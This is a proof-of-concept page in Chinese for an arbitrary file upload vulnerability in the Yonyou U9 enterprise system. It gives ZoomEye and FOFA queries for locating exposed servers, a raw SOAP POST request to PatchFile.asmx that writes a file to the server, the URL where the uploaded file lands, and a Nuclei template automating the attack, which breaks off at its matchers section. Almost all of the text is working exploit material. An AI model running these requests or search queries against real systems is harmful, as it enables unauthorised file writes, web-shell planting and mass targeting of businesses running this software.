## 用友系统-U9企业版存在任意文件上传漏洞

##  ZoomEye
```
app:"用友 U9"
```

## fofa
```
title=="        U9-登录    "
```


## poc
```
POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1
Host: {}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: .ASPXANONYMOUS=1OJZqnZ03AEkAAAAZGQ2ZDU0NzYtMDdiZS00YWJhLTk2ZTMtNmRhYTgxNDM5OTNi0; ASP.NET_SessionId=md4bw5fgleu1cxfdwk4w0o4n
Connection: close
Content-Type: text/xml; charset=utf-8
Content-Length: 433

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SaveFile xmlns="http://tempuri.org/">
      <binData>VXBsb2FkLXN1Y2Nlc3NmdWxseQ==</binData>
      <path>./</path>
      <fileName>123.txt</fileName>
    </SaveFile>
  </soap:Body>
</soap:Envelope>
```
![b23cd5adb255337154278fb1c62bf2fc](https://github.com/wy876/POC/assets/139549762/6c927096-24d0-4b55-8037-fff767959054)

文件上传路径
http://127.0.0.1/CS/Office/AutoUpdates/123.txt

![5eb3b885723f85ed25b104c10f08e7c1](https://github.com/wy876/POC/assets/139549762/e283a6a2-3c77-4121-816e-4865ab5fb8b5)

## Nuclei
```

id: yonyou-U9-PatchFile-asmx-uploadfile

info:
  name: yonyou-U9-PatchFile-asmx-uploadfile
  author: 渗透安全HackTwo
  severity: high

  description: |
    漏洞测试-公众号-渗透安全HackTwo
  reference:
    - https://127.0.0.1
  tags: auto

variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"

http:
  - raw:
      - |
        POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1
        Host:{{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Accept-Language: zh-CN,zh;q=0.9b
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
        Content-Type: text/xml; charset=utf-8
        Connection: close
        
        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <SaveFile xmlns="http://tempuri.org/">
              <binData>VXBsb2FkLXN1Y2Nlc3NmdWxseQ==</binData>
              <path>./</path>
              <fileName>{{filename}}.txt</fileName>
            </SaveFile>
          </soap:Body>
        </soap:Envelope>
        

      - |
        GET /CS/Office/AutoUpdates/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

    matchers:
      - type: dsl
        dsl:
```